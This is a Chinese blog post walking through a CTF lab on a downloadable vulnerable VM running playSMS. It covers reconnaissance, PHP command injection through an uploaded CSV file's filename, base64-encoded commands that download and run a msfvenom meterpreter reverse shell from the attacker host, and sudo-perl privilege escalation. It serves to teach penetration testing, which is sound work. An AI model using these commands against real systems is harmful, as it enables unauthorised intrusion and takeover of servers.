ctf训练 web安全命令注入漏洞

本文通过实战案例介绍CTF竞赛中的Web安全渗透测试流程,包括信息收集、命令注入漏洞利用、shell反弹及权限提升等关键步骤。

摘要生成于 C知道 ,由 DeepSeek-R1 满血版支持, 前往体验 >

ctf训练 web安全命令注入漏洞

实验环境

一台kail攻击机 和 靶机
靶机镜像:https://pan.baidu.com/s/1FG3VbDmDGHY8rOtuOFhRxA
提取码:oues

安装打开靶机(使用Oracle VM VirtualBox打开):
(注意:靶机用桥接模式则攻击机也用桥接模式,注意检查!!!!)

接下来发现没法登陆,也没有办法获取ip地址
所以我们在kail下
进入控制台

使用netdiscover命令 netdiscover -r ip/子网掩码 命令来探测靶机
在这里插入图片描述
信息探测

扫描主机服务信息以及服务版本
– nmap -sV靶场lP地址
在这里插入图片描述

快速扫描主机全部信息
–nmap -T4 -A -v靶场IP地址
在这里插入图片描述

探测目录信息
– nikto -host http://靶场IP地址:端口

在这里插入图片描述

– dirb http://靶场IP地址:端口
在这里插入图片描述
深入挖掘

分析nmap . nikto扫描结果,并对结果进行分析,挖掘可以利用的信息;
查看一下index.html主页面
查看一下robots在这里插入图片描述

使用浏览器打开http: / /ip:port/敏感页面,查看敏感信息,找到可利用的立置;

在这里插入图片描述
在这里插入图片描述
访问ange1没有任何可利用信息
在这里插入图片描述
访问angel1也是没有任何可利用信息
在这里插入图片描述访问/nothing没有任何返回,但是有点儿404的味道在这里插入图片描述
我们来随便访问一下,该页面服务器不存在,所以会报错404
在这里插入图片描述

接下来我们想着查看一下nothing目录的源代码,php的源代码一般要注意一下它的注释

在这里插入图片描述
接下里我们去访问/tmp和/download都没有任何信息,所以这里的信息挖掘已经完毕

接下来继续去探索
在这里插入图片描述
到浏览器当中去访问,发现一个backup.zip文件,我们下载这个文件

在这里插入图片描述
在这里插入图片描述
将该文件复制到桌面上,然后发现这个文件是需要密码的
在这里插入图片描述
然后就会想到之前在robot里面找到的密码

#my secret pass
freedom
password
helloworld!
diana
iloveroot

我们对上面的密码进行尝试,发现第一个就成功了
这样桌面上就有该文件了
在这里插入图片描述
这时我们看见该文件是个以mp3为后缀的文件,但是不一定是个mp3文件,这里我们需要判别一下该文件类型,这里的文件类型为文本文档,所以我们可以直接cat查看内容,然后这里面出现了一个url,在浏览器当中去访问试一试

在这里插入图片描述
然后我们发现这个是一个登录界面,在上图中我们发现了其用户名为touhid,然后将在robot里面发现的密码带入尝试,发现密码为diana

在这里插入图片描述
登录成功
在这里插入图片描述
登录-利用exploit-db

利用挖掘到的用户名和密码登陆系统,然后对系统是否使用某种CMS、SMS等进行查看。

利用现成的EXP进行渗透。

渗透测试技巧

–searchsploit 对应的系统

这里对应的系统为playSMS
在这里插入图片描述在这里插入图片描述在这里插入图片描述
然后得到一些信息
在这里插入图片描述
在这里插入图片描述我们发现浏览器当中访问得不到相应的信息,所以这里我们手动去寻找
在这里插入图片描述这里由于提示要上传csv文件,所以我们在桌面上新建一个csv文件
在这里插入图片描述
成功上传
在这里插入图片描述
接下来我们打开burpsuite
在这里插入图片描述在这里插入图片描述将文件名这个位置改为自己想要执行的代码
代码内容

<?php system('uname -a'); dia();?>.php

在这里插入图片描述

在这里插入图片描述然后go一下,发现该命令已经执行成功了

在这里插入图片描述
如果还想继续查看id,就必须重新抓包!!!!
操作步骤和上面雷同,
在这里插入图片描述
将1.csv修改为

<?php system('id');die(); ?>.php

在这里插入图片描述
所以这里filename是存在代码注入的

准备shell

启用metasploit监听
在这里插入图片描述

msf > use exploit/multi/handler
在这里插入图片描述

msf exploit(handler) > set payload linux/x86/meterpreter_reverse_tcp
在这里插入图片描述show options查看对应参数
在这里插入图片描述
设置ip地址
msf.exploit(handler) >set lhost 攻击机ip

在这里插入图片描述

msf. exploit(handler) > run
执行到这里发现没有反弹回来一个shell
![在这里插入图片描述](https://img-blog.csdnimg.cn/20201205112519716.png

生成shell

msfvenom -p linux/x86/meterpreter_reverse_tcp lhost=192.168.43.96 lport=4444 -f elf > /var/www/html/shell

这里发现了生成的shell文件
在这里插入图片描述在这里插入图片描述

接下来要用到apache服务器,所以我们开启该服务

在这里插入图片描述绕过防火墙上传shell

利用base64绕过防火墙检测
– service apache2 start

– echo ‘wget http://攻击机ip/s -O /tmp/a’ |base64

在这里插入图片描述– echo ‘chmod 777 /tmp/a’ | base64
在这里插入图片描述

– echo ‘/tmp/a’ | base64
在这里插入图片描述

打开burpsuite抓包,和之前的步骤一样
在这里插入图片描述

修改filename参数内容
–“<?php shell_exec(base64_decode('base64encodestring'));die();?>.php"

filename="<?php system(base64_decode('d2dldCBodHRwOi8vMTkyLjE2OC40My45Ni9zIC1PIC90bXAvYQo='));die();?>.php"

在这里插入图片描述

在这里插入图片描述再一次重新抓包

filename="<?php system(base64_decode('Y2htb2QgNzc3IC90bXAvYQo='));die();?>.php"

在这里插入图片描述在这里插入图片描述

再一次抓包,改filename

filename=<?php system(base64_decode('L3RtcC9hCg=='));die();?>.php

在这里插入图片描述
在这里插入图片描述然后这边终端已经成功反弹回来了shell

在这里插入图片描述
提升权限、获取Flag

登录服务器之后,反弹的shell的用户是www-data。并不具备root权限。

使用sudo -l 查看www-data用户的sudo权限;
在这里插入图片描述

根据提示执行以下命令(现实渗透中,肯定存在这样的问题。程序员为了方便,便设置了不需要密码就可以执行sudo的操作)

sudo perl -e "exec ‘/bin/sh’ "
bash -i

在这里插入图片描述

查看flag值
cat flag

在这里插入图片描述

总结:

  • 对于每一个可以看到的信息都要查看,比如某个文件,某个目录,脑洞要大
  • 此外信息收集一定要充分,根据题目提示来逐步进行渗透测试;
  • 对于web系统,一定要注意利用现成的EXP。
评论 1
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包

打赏作者

爱吃香菜的哈哈

你的鼓励将是我创作的最大动力

¥1 ¥2 ¥4 ¥6 ¥10 ¥20
扫码支付:¥1
获取中
扫码支付

您的余额不足,请更换扫码支付或充值

打赏作者

实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值